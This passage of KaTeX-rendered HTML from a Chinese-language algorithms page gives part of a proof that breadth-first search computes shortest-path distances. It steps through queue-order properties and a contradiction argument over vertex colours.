class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≥</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">v_1.d \ge u.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_{r+1}.d = u.d + 1 \le v_1.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</li></ul></li><li><ul><li>引用性质 1 得出性质 2： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≥</mo><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">u.d + 1 \ge v_r.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>，那么得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≥</mo><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">v_{r+1}.d = u.d + 1 \ge v_r.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>。</li></ul></li></ul><p>那么两个假设依旧成立。</p></li><li><p>按照入队顺序，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>&lt;</mo><mi>j</mi></mrow><annotation encoding="application/x-tex">i &lt; j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6986em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 时，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>i</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mi>j</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">v_i.d \le v_j.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9805em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span></p><p>按照上面证明，且每个 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 只会入队一次，所以成立。</p></li></ol><p>但是以上都没约束到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d = \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>。</p><p>用反证法证明，假设存在顶点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo mathvariant="normal">≠</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d \ne \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>。</p><p>取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的最短路径上的父节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">u.d = \delta(s, u)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span></span></span></span>。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo mathvariant="normal">≠</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d \ne \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，那么根据第二点，得出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>&gt;</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d &gt; \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>。</p><p>又因为是最短路径，可以得出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\delta(s, v) = \delta(s, u) + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p><p>又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">u.d = \delta(s, u)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span></span></span></span>，所以 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>&gt;</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v.d \gt \delta(s, v) = \delta(s, u) + 1 = u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p></p><p>得到这个式子之后可以具体讨论 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 出队的时候，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的三种颜色：</p><ol><li><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是白色的，那么会赋值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v.d = u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v.d \ge \delta(s, v) = u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 矛盾。</p></li><li><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是黑色的，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">v.d \le u.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span 